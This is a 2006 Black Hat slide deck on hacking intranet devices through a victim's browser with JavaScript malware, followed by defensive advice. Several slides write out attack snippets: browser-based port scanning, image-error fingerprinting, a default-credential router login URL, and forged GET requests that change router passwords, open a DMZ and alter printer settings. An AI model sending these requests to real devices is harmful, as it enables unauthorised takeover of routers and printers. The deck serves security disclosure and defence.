1




Hacking Intranet Websites
from the Outside
"JavaScript malware just got a lot more dangerous"

 Black Hat (USA) - Las Vegas
 08.03.2006
 Jeremiah Grossman (Founder and CTO)
 T.C. Niedzialkowski (Sr. Security Engineer)




Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
2

  WhiteHat Security
WhiteHat Sentinel - Continuous Vulnerability
Assessment and Management Service for Websites.
  Jeremiah Grossman (Founder and CTO)
  ‣Technology R&D and industry evangelist
  ‣Co-founder of the Web Application Security
   Consortium (WASC)
  ‣Former Yahoo Information Security Officer

  T.C. Niedzialkowski (Sr. Security Engineer)
  ‣Manages WhiteHat Sentinel service for enterprise
   customers
  ‣extensive experience in web application security
   assessments
  ‣key contributor to the design of WhiteHat's
   scanning technology.
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
3

  Assumptions of Intranet Security
   Doing any of the following on the
   internet would be crazy, but on
   intranet...

   ‣Leaving hosts unpatched
   ‣Using default passwords
   ‣Not putting a firewall in front of
    a host
     Is OK because the perimeter
     firewalls block external access
     to internal devices.

Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
4

  Assumptions of Intranet Security




  WRONG!
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
5

  Everything is web-enabled
   routers, firewalls, printers, payroll systems,
   employee directories, bug tracking systems,
   development machines, web mail, wikis, IP
   phones, web cams, host management, etc etc.




Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
6

  Intranet users have access
  To access intranet websites, control a user
  (or the browser) which is on the inside.


                                 FTP
                                                         Intranet
                                                                           Wiki

                                                   X                               Printer

             JavaScript                HTTP
                                                X
              Malware
                                                                User
                                                                                   New Web
                                                 X                                  Server
                     SSH                          Firewall


                       NetBIOS                                                  Bug
                                                                IP Phone      Tracking

Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
7

  Hacking the Intranet


                            JavaScript
                             Malware
                    Gets behind the firewall to attack
                              the intranet.

                          operating system and browser
                                   independent

 special thanks to:
 Robert “RSnake” Hansen
 http://ha.ckers.org/
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
8




                The following examples DO NOT use
                any well-known or un-patched web
                browser vulnerabilities. The code
                uses clever and sophisticated
                JavaScript, Cascading Style-Sheet
                (CSS), and Java Applet programming.
                Technology that is common to all
                popular web browsers. Example code
                is developed for Firefox 1.5, but the
                techniques should also apply to
                Internet Explorer.




Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
9

  Contracting JavaScript Malware

1. website owner embedded JavaScript malware.

2. web page defaced with embedded JavaScript
malware.

3. JavaScript Malware injected into into a
public area of a website. (persistent XSS)

4. clicked on a specially-crafted link causing
the website to echo JavaScript Malware. (non-
persistent XSS)



Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
10

  Stealing Browser History
            JavaScript can make links and has
                  access to CSS APIs




                                      See the difference?
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
11




   Cycle
   through the
   most popular
   websites




Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
12

  NAT'ed IP Address
  IP Address Java Applet
   This applet demonstrates that any server you
   visit can find out your real IP address if you
   enable Java, even if you're behind a firewall or
   use a proxy.
   Lars Kindermann
   http://reglos.de/myaddress/


   Send internal IP address where JavaScript can
   access it

   <APPLET CODE="MyAddress.class">
   <PARAM NAME="URL" VALUE="demo.html?IP=">
   </APPLET>


  If we can get the internal subnet great, if not,
      we can still guess for port scanning...

Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
13

  JavaScript Port Scanning
 We can send HTTP requests to anywhere, but we
 can 't access the response (same-origin policy).
 So how do we know if a connection is made?
   <SCRIPT SRC=”http://192.168.1.100/”></SCRIPT>
  If a web server is listening on 192.168.1.100, HTML will be returned causing the JS
  interpreter to error.




                                                                CAPTURE THE ERROR!

Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
14




Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
15

  Blind URL Fingerprinting
 There is a web server listening, but can 't see
 the response, what is it?
  Many web platforms have URL’s to images that are unique.
  Apache Web Server
  /icons/apache_pb.gif

  HP Printer
  /hp/device/hp_invent_logo.gif

  PHP Imae Easter eggs
  /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

 Use OnError!
 Cycle through unique URL’s using Image DOM objects
 <img src=”http://192.168.1.100/unique_image_url” onerror=”fingerprint()” />
If the onerror event does NOT execute, then
it 's the associated platform.
Technically, CSS and JavaScript pages can be used for fingerprinting as well.
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
16




Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
17

  DSL Wireless/Router Hacking
  Login, if not already authenticated




  Factory defaults are handy!
   http://admin:password@192.168.1.1/
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
18

  Change the password




                                   /password.cgi?
 POST to GET                       sysOldPasswd=password&sysNewPasswd=newpass&sysConfirmP
                                   asswd=newpass&cfAlert_Apply=Apply

Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
19

  DMZ Hacking




                                    /security.cgi?
  POST to GET                       dod=dod&dmz_enable=dmz_enable&dmzip1=192&dmzip2=168&d
                                    mzip3=1&dmzip4=9&wan_mtu=1500&apply=Apply&wan_way=1500


Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
20

  Network Printer Hacking




    POST to GET
     /hp/device/set_config_deviceInfo.html?DeviceDescription=0WNED!
     &AssetNumber=&CompanyName=&ContactPerson=&Apply=Apply
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
21

  Network Printer Hacking
   Auto-Fire Printer Test Pages




   POST to GET                        /hp/device/info_specialPages.html?Demo=Print
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
22

   More Dirty Tricks
  ‣ black hat search engine optimization (SEO)
  ‣ Click-fraud
  ‣ Distributed Denial of Service
  ‣ Force access of illegal content
  ‣ Hack other websites (IDS sirens)
  ‣ Distributed email spam (Outlook Web Access)
  ‣ Distributed blog spam
  ‣ Vote tampering
  ‣ De-Anonymize people
  ‣ etc.
    Once the browser closes there is little trace
    of the exploit code.

Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
23




    Anybody can be a
      victim on any
         website
              Trusted websites are hosting malware.

       Cross-Site Scripting (XSS) and Cross-Site
      Request Forgery vulnerabilities amplify the
                       problem.
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
24

  XSS Everywhere
  Attacks the user of a website, not the website
  itself. The most common vulnerability.

   SecurityFocus cataloged over
   1,400 issues.
   WhiteHat Security has Identified
   over 1,500 in custom web
   applications. 8 in 10 websites
   have XSS.
   Tops the Web Hacking Incident
   Database (WHID)
   http://www.webappsec.org/projects/whid/

Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
25

  Exploited on popular websites




 Exploitation Leads to website defacement, session hi-
  jacking, user impersonation, worms, phishing scams,
              browser trojans, and more...
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
26

  CSRF, even more widespread
  A cross-site request forgery (CSRF or
  XSRF), although similar-sounding in name to
  cross-site scripting (XSS), is a very different
  and almost opposite form of attack. Whereas
  cross-site scripting exploits the trust a
  user has in a website, a cross-site request
  forgery exploits the trust a website has in a
  user by forging the enactor and making a
  request appear to come from a trusted user.
  Wikipedia
  http://en.wikipedia.org/wiki/Cross-site_request_forgery



  No statistics, but the general consensus is
  just about every piece of sensitive website
  functionality is vulnerable.

Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
27

  CSRF hack examples
  A story that diggs itself
  Users logged-in to
  digg.com visiting http://
  4diggers.blogspot.com/
  will automatically digg
  the story
  http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/




  Compromising your GMail
  contact list
 Contact list available in
 JavaScript space. <script
 src=http://mail.google.com/
 mail/?_url_scrubbed>
  http://www.webappsec.org/lists/websecurity/archive/2006-01/msg00087.html
Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
28

  Worms
  MySpace (Samy Worm) - first XSS worm
  24 hours, 1 million users affected
  ‣logged-in user views samys profile page,
   embedded JavaScript malware.
  ‣Malware ads samy as their friend, updates
   their profile with “samy is my hero”, and copies
   the malware to their profile.
  ‣People visiting infected profiles are in turn
   infected causing exponential growth.
    http://namb.la/popular/tech.html


  Yahoo Mail (JS-Yamanner)
  ‣User receives a email w/ an attachment
   embedded with JavaScript malware.
  ‣User opens the attachment and malware
   harvesting @yahoo.com and @yahoogroups.com
   addresses from contact list.             CROSS-SITE SCRIPTING WORMS AND VIRUSES
                                            “The Impending Threat and the Best Defense”
  ‣User is re-directed to another web page. http://www.whitehatsec.com/downloads/
   http://ha.ckers.org/blog/20060612/yahoo-xss-worm/            WHXSSThreats.pdf

Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
29

  Solutions


          How to protect
            yourself
                                               Or at least try




Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
30

  Not going to work
  Useful for other threats, but not against
  JavaScript malware.

    Patching and anti-virus

    Corporate Web Surfing Filters

    Security Sockets Layer (SSL)

    Two Factor Authentication

    Stay away from questionable websites

Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
31

  Better End-User Solutions

   ‣Be suspicious of long links, especially those
    that look like they contain HTML code. When
    in doubt, type the domain name manually into
    your browser location bar.
   ‣no web browser has a clear security                         Text



    advantage, but we prefer Firefox. For
    additional security, install browser add-ons
    such as NoScript (Firefox extension) or the
    Netcraft Toolbar.
   ‣When in doubt, disable JavaScript, Java, and
    Active X prior to your visit.


Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
32

  We Need More Browser Security
   ‣Mozilla (Firefox), Microsoft and Opera
    development teams must begin formalizing
    and implementing Content-Restrictions.
   Sites would define and serve content restrictions for
   pages which contained untrusted content which they had
   filtered. If the filtering failed, the content restrictions  Text


   may still prevent malicious script from executing or doing
   damage.
   Gervase Markham
   http://www.gerv.net/security/content-restrictions/

   ‣Mozilla (Firefox) developers, please
    implement httpOnly. It's been around for
    years!


Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
33

  Fixing XSS and CSRF
   Preventing websites from hosting
         JavaScript Malware

  ‣rock solid Input Validation. This includes
   URL's, query strings, headers, post data, etc.
                                 filter HTML from output                    Text

                                  $data =~ s/(<|>|"|'|(|)|:)/'&#'.ord($1).';'/sge;
                                  or
                                  $data =~ s/([^w])/'&#'.ord($1).';'/sge;

  ‣Protect sensitive functionality from CSRF
                                                                Text




   attack. Implement session tokens, CAPTCHAs,
   or HTTP referer header checking.                                                      ext




Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
34

  Finding and Fixing
  ‣Find your vulnerabilities before the bad
   guys do. Comprehensive assessments combine
   automated vulnerability scanning and
   expert-driven analysis.

  ‣When absolutely nothing can go wrong with                    Text



   your website, consider a web application
   firewall (WAF). Defense-in-Depth
   (mod_security, URL Scan, SecureIIS).

  ‣ harden the intranet websites. They are no
   longer out of reach. Patch and change
   default password.


Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
35

  Recommended Reading




Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
36

                      THANK YOU!
                                 Jeremiah Grossman
              Founder and Chief Technology Officer
                   jeremiah@whitehatsec.com

                                  T.C. Niedzialkowski
                                      SR. Security Engineer
                                       tc@whitehatsec.com

                For more information about WhiteHat Security,
                please call 408.492.1817 or visit our website,
                             www.whitehatsec.com



Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.

More Related Content

PDF
Hack any website
PPTX
Unethical access to website’s databases hacking using sql injection
PDF
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
PPTX
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
PDF
Understanding Windows Access Token Manipulation
PDF
Abusing & Securing XPC in macOS apps
PDF
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
PDF
Securing TodoMVC Using the Web Cryptography API
Hack any website
Unethical access to website’s databases hacking using sql injection
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
[OPD 2019] Side-Channels on the Web:
Attacks and Defenses
Understanding Windows Access Token Manipulation
Abusing & Securing XPC in macOS apps
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
Securing TodoMVC Using the Web Cryptography API

What's hot (20)

PDF
[CB21] The Lazarus Group's Attack Operations Targeting Japan by Shusei Tomona...
PPTX
BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...
PDF
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
PPT
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
PDF
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
PPTX
Breaking the cyber kill chain!
PPTX
How to hide your browser 0-day @ Disobey
PDF
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
PDF
44CON London - Attacking VxWorks: from Stone Age to Interstellar
PPTX
How to drive a malware analyst crazy
PDF
Building & Hacking Modern iOS Apps
PDF
[OPD 2019] Attacking JWT tokens
PDF
Testing Android Security Codemotion Amsterdam edition
PDF
Developer's Guide to JavaScript and Web Cryptography
PDF
Carlos García - Pentesting Active Directory [rooted2018]
PDF
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
PDF
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
PPTX
BlueHat v17 || Down the Open Source Software Rabbit Hole
PDF
Hunting Lateral Movement in Windows Infrastructure
PDF
Secure Token Storage
[CB21] The Lazarus Group's Attack Operations Targeting Japan by Shusei Tomona...
BlueHat v17 || Mitigations for the Masses: From EMET to Windows Defender Exp...
WebApps vs Blockchain dApps (SmartContracts): tools, vulns and standards
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
Breaking the cyber kill chain!
How to hide your browser 0-day @ Disobey
[CB20] Operation I am Tom: How APT actors move laterally in corporate network...
44CON London - Attacking VxWorks: from Stone Age to Interstellar
How to drive a malware analyst crazy
Building & Hacking Modern iOS Apps
[OPD 2019] Attacking JWT tokens
Testing Android Security Codemotion Amsterdam edition
Developer's Guide to JavaScript and Web Cryptography
Carlos García - Pentesting Active Directory [rooted2018]
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
[DefCon 2016] I got 99 Problems, but 
Little Snitch ain’t one!
BlueHat v17 || Down the Open Source Software Rabbit Hole
Hunting Lateral Movement in Windows Infrastructure
Secure Token Storage

Similar to Hacking intranet websites (20)

PDF
bh-usa-07-grossman-WP.pdf
PPT
Bh europe-01-grossman
PDF
Top Ten Web Hacking Techniques (2008)
PPTX
Top 10 Web Hacks 2012
PPTX
Top Ten Web Hacking Techniques of 2012
PDF
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
PDF
Top Ten Web Attacks
PPTX
Fundamental of Webserver Hacking, Web Applications and Database Attacks
PDF
Top Ten Web Hacking Techniques (2010)
KEY
DVWA BruCON Workshop
PPT
Top Ten Web Hacking Techniques – 2008
PPT
Sembang2 Keselamatan It 2004
PPT
Web Application Security: The Land that Information Security Forgot
PDF
Xfocus xcon 2008_aks_oknock
PDF
Mo' Money Mo' Problems - Making even more money online the black hat way
PPT
gofortution
PPS
Aditya - Hacking Client Side Insecurities - ClubHack2008
PPT
bh-usa-07-grossman-WP.pdf
Bh europe-01-grossman
Top Ten Web Hacking Techniques (2008)
Top 10 Web Hacks 2012
Top Ten Web Hacking Techniques of 2012
2010: A Web Hacking Odyssey - Top Ten Hacks of the Year
Top Ten Web Attacks
Fundamental of Webserver Hacking, Web Applications and Database Attacks
Top Ten Web Hacking Techniques (2010)
DVWA BruCON Workshop
Top Ten Web Hacking Techniques – 2008
Sembang2 Keselamatan It 2004
Web Application Security: The Land that Information Security Forgot
Xfocus xcon 2008_aks_oknock
Mo' Money Mo' Problems - Making even more money online the black hat way
gofortution
Aditya - Hacking Client Side Insecurities - ClubHack2008

Recently uploaded (20)

PDF
A review of recent deep learning applications in wood surface defect identifi...
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
DOCX
search engine optimization ppt fir known well about this
PDF
STKI Israel Market Study 2025 version august
PDF
DP Operators-handbook-extract for the Mautical Institute
PDF
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
PDF
Getting started with AI Agents and Multi-Agent Systems
PDF
DASA ADMISSION 2024_FirstRound_FirstRank_LastRank.pdf
PPTX
Modernising the Digital Integration Hub
PDF
Hybrid horned lizard optimization algorithm-aquila optimizer for DC motor
PPTX
O2C Customer Invoices to Receipt V15A.pptx
PDF
Getting Started with Data Integration: FME Form 101
PDF
1 - Historical Antecedents, Social Consideration.pdf
PDF
A novel scalable deep ensemble learning framework for big data classification...
PPT
What is a Computer? Input Devices /output devices
PDF
TrustArc Webinar - Click, Consent, Trust: Winning the Privacy Game
PPT
Module 1.ppt Iot fundamentals and Architecture
PDF
Developing a website for English-speaking practice to English as a foreign la...
PDF
Hindi spoken digit analysis for native and non-native speakers
PDF
How ambidextrous entrepreneurial leaders react to the artificial intelligence...
A review of recent deep learning applications in wood surface defect identifi...
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
search engine optimization ppt fir known well about this
STKI Israel Market Study 2025 version august
DP Operators-handbook-extract for the Mautical Institute
A Late Bloomer's Guide to GenAI: Ethics, Bias, and Effective Prompting - Boha...
Getting started with AI Agents and Multi-Agent Systems
DASA ADMISSION 2024_FirstRound_FirstRank_LastRank.pdf
Modernising the Digital Integration Hub
Hybrid horned lizard optimization algorithm-aquila optimizer for DC motor
O2C Customer Invoices to Receipt V15A.pptx
Getting Started with Data Integration: FME Form 101
1 - Historical Antecedents, Social Consideration.pdf
A novel scalable deep ensemble learning framework for big data classification...
What is a Computer? Input Devices /output devices
TrustArc Webinar - Click, Consent, Trust: Winning the Privacy Game
Module 1.ppt Iot fundamentals and Architecture
Developing a website for English-speaking practice to English as a foreign la...
Hindi spoken digit analysis for native and non-native speakers
How ambidextrous entrepreneurial leaders react to the artificial intelligence...

Hacking intranet websites

  • 1. 1 Hacking Intranet Websites from the Outside "JavaScript malware just got a lot more dangerous" Black Hat (USA) - Las Vegas 08.03.2006 Jeremiah Grossman (Founder and CTO) T.C. Niedzialkowski (Sr. Security Engineer) Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 2. 2 WhiteHat Security WhiteHat Sentinel - Continuous Vulnerability Assessment and Management Service for Websites. Jeremiah Grossman (Founder and CTO) ‣Technology R&D and industry evangelist ‣Co-founder of the Web Application Security Consortium (WASC) ‣Former Yahoo Information Security Officer T.C. Niedzialkowski (Sr. Security Engineer) ‣Manages WhiteHat Sentinel service for enterprise customers ‣extensive experience in web application security assessments ‣key contributor to the design of WhiteHat's scanning technology. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 3. 3 Assumptions of Intranet Security Doing any of the following on the internet would be crazy, but on intranet... ‣Leaving hosts unpatched ‣Using default passwords ‣Not putting a firewall in front of a host Is OK because the perimeter firewalls block external access to internal devices. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 4. 4 Assumptions of Intranet Security WRONG! Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 5. 5 Everything is web-enabled routers, firewalls, printers, payroll systems, employee directories, bug tracking systems, development machines, web mail, wikis, IP phones, web cams, host management, etc etc. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 6. 6 Intranet users have access To access intranet websites, control a user (or the browser) which is on the inside. FTP Intranet Wiki X Printer JavaScript HTTP X Malware User New Web X Server SSH Firewall NetBIOS Bug IP Phone Tracking Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 7. 7 Hacking the Intranet JavaScript Malware Gets behind the firewall to attack the intranet. operating system and browser independent special thanks to: Robert “RSnake” Hansen http://ha.ckers.org/ Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 8. 8 The following examples DO NOT use any well-known or un-patched web browser vulnerabilities. The code uses clever and sophisticated JavaScript, Cascading Style-Sheet (CSS), and Java Applet programming. Technology that is common to all popular web browsers. Example code is developed for Firefox 1.5, but the techniques should also apply to Internet Explorer. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 9. 9 Contracting JavaScript Malware 1. website owner embedded JavaScript malware. 2. web page defaced with embedded JavaScript malware. 3. JavaScript Malware injected into into a public area of a website. (persistent XSS) 4. clicked on a specially-crafted link causing the website to echo JavaScript Malware. (non- persistent XSS) Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 10. 10 Stealing Browser History JavaScript can make links and has access to CSS APIs See the difference? Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 11. 11 Cycle through the most popular websites Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 12. 12 NAT'ed IP Address IP Address Java Applet This applet demonstrates that any server you visit can find out your real IP address if you enable Java, even if you're behind a firewall or use a proxy. Lars Kindermann http://reglos.de/myaddress/ Send internal IP address where JavaScript can access it <APPLET CODE="MyAddress.class"> <PARAM NAME="URL" VALUE="demo.html?IP="> </APPLET> If we can get the internal subnet great, if not, we can still guess for port scanning... Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 13. 13 JavaScript Port Scanning We can send HTTP requests to anywhere, but we can 't access the response (same-origin policy). So how do we know if a connection is made? <SCRIPT SRC=”http://192.168.1.100/”></SCRIPT> If a web server is listening on 192.168.1.100, HTML will be returned causing the JS interpreter to error. CAPTURE THE ERROR! Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 14. 14 Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 15. 15 Blind URL Fingerprinting There is a web server listening, but can 't see the response, what is it? Many web platforms have URL’s to images that are unique. Apache Web Server /icons/apache_pb.gif HP Printer /hp/device/hp_invent_logo.gif PHP Imae Easter eggs /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 Use OnError! Cycle through unique URL’s using Image DOM objects <img src=”http://192.168.1.100/unique_image_url” onerror=”fingerprint()” /> If the onerror event does NOT execute, then it 's the associated platform. Technically, CSS and JavaScript pages can be used for fingerprinting as well. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 16. 16 Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 17. 17 DSL Wireless/Router Hacking Login, if not already authenticated Factory defaults are handy! http://admin:password@192.168.1.1/ Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 18. 18 Change the password /password.cgi? POST to GET sysOldPasswd=password&sysNewPasswd=newpass&sysConfirmP asswd=newpass&cfAlert_Apply=Apply Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 19. 19 DMZ Hacking /security.cgi? POST to GET dod=dod&dmz_enable=dmz_enable&dmzip1=192&dmzip2=168&d mzip3=1&dmzip4=9&wan_mtu=1500&apply=Apply&wan_way=1500 Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 20. 20 Network Printer Hacking POST to GET /hp/device/set_config_deviceInfo.html?DeviceDescription=0WNED! &AssetNumber=&CompanyName=&ContactPerson=&Apply=Apply Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 21. 21 Network Printer Hacking Auto-Fire Printer Test Pages POST to GET /hp/device/info_specialPages.html?Demo=Print Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 22. 22 More Dirty Tricks ‣ black hat search engine optimization (SEO) ‣ Click-fraud ‣ Distributed Denial of Service ‣ Force access of illegal content ‣ Hack other websites (IDS sirens) ‣ Distributed email spam (Outlook Web Access) ‣ Distributed blog spam ‣ Vote tampering ‣ De-Anonymize people ‣ etc. Once the browser closes there is little trace of the exploit code. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 23. 23 Anybody can be a victim on any website Trusted websites are hosting malware. Cross-Site Scripting (XSS) and Cross-Site Request Forgery vulnerabilities amplify the problem. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 24. 24 XSS Everywhere Attacks the user of a website, not the website itself. The most common vulnerability. SecurityFocus cataloged over 1,400 issues. WhiteHat Security has Identified over 1,500 in custom web applications. 8 in 10 websites have XSS. Tops the Web Hacking Incident Database (WHID) http://www.webappsec.org/projects/whid/ Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 25. 25 Exploited on popular websites Exploitation Leads to website defacement, session hi- jacking, user impersonation, worms, phishing scams, browser trojans, and more... Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 26. 26 CSRF, even more widespread A cross-site request forgery (CSRF or XSRF), although similar-sounding in name to cross-site scripting (XSS), is a very different and almost opposite form of attack. Whereas cross-site scripting exploits the trust a user has in a website, a cross-site request forgery exploits the trust a website has in a user by forging the enactor and making a request appear to come from a trusted user. Wikipedia http://en.wikipedia.org/wiki/Cross-site_request_forgery No statistics, but the general consensus is just about every piece of sensitive website functionality is vulnerable. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 27. 27 CSRF hack examples A story that diggs itself Users logged-in to digg.com visiting http:// 4diggers.blogspot.com/ will automatically digg the story http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/ Compromising your GMail contact list Contact list available in JavaScript space. <script src=http://mail.google.com/ mail/?_url_scrubbed> http://www.webappsec.org/lists/websecurity/archive/2006-01/msg00087.html Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 28. 28 Worms MySpace (Samy Worm) - first XSS worm 24 hours, 1 million users affected ‣logged-in user views samys profile page, embedded JavaScript malware. ‣Malware ads samy as their friend, updates their profile with “samy is my hero”, and copies the malware to their profile. ‣People visiting infected profiles are in turn infected causing exponential growth. http://namb.la/popular/tech.html Yahoo Mail (JS-Yamanner) ‣User receives a email w/ an attachment embedded with JavaScript malware. ‣User opens the attachment and malware harvesting @yahoo.com and @yahoogroups.com addresses from contact list. CROSS-SITE SCRIPTING WORMS AND VIRUSES “The Impending Threat and the Best Defense” ‣User is re-directed to another web page. http://www.whitehatsec.com/downloads/ http://ha.ckers.org/blog/20060612/yahoo-xss-worm/ WHXSSThreats.pdf Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 29. 29 Solutions How to protect yourself Or at least try Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 30. 30 Not going to work Useful for other threats, but not against JavaScript malware. Patching and anti-virus Corporate Web Surfing Filters Security Sockets Layer (SSL) Two Factor Authentication Stay away from questionable websites Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 31. 31 Better End-User Solutions ‣Be suspicious of long links, especially those that look like they contain HTML code. When in doubt, type the domain name manually into your browser location bar. ‣no web browser has a clear security Text advantage, but we prefer Firefox. For additional security, install browser add-ons such as NoScript (Firefox extension) or the Netcraft Toolbar. ‣When in doubt, disable JavaScript, Java, and Active X prior to your visit. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 32. 32 We Need More Browser Security ‣Mozilla (Firefox), Microsoft and Opera development teams must begin formalizing and implementing Content-Restrictions. Sites would define and serve content restrictions for pages which contained untrusted content which they had filtered. If the filtering failed, the content restrictions Text may still prevent malicious script from executing or doing damage. Gervase Markham http://www.gerv.net/security/content-restrictions/ ‣Mozilla (Firefox) developers, please implement httpOnly. It's been around for years! Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 33. 33 Fixing XSS and CSRF Preventing websites from hosting JavaScript Malware ‣rock solid Input Validation. This includes URL's, query strings, headers, post data, etc. filter HTML from output Text $data =~ s/(<|>|"|'|(|)|:)/'&#'.ord($1).';'/sge; or $data =~ s/([^w])/'&#'.ord($1).';'/sge; ‣Protect sensitive functionality from CSRF Text attack. Implement session tokens, CAPTCHAs, or HTTP referer header checking. ext Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 34. 34 Finding and Fixing ‣Find your vulnerabilities before the bad guys do. Comprehensive assessments combine automated vulnerability scanning and expert-driven analysis. ‣When absolutely nothing can go wrong with Text your website, consider a web application firewall (WAF). Defense-in-Depth (mod_security, URL Scan, SecureIIS). ‣ harden the intranet websites. They are no longer out of reach. Patch and change default password. Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 35. 35 Recommended Reading Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.
  • 36. 36 THANK YOU! Jeremiah Grossman Founder and Chief Technology Officer jeremiah@whitehatsec.com T.C. Niedzialkowski SR. Security Engineer tc@whitehatsec.com For more information about WhiteHat Security, please call 408.492.1817 or visit our website, www.whitehatsec.com Copyright © 2006 WhiteHat Security, inc. All Rights Reserved.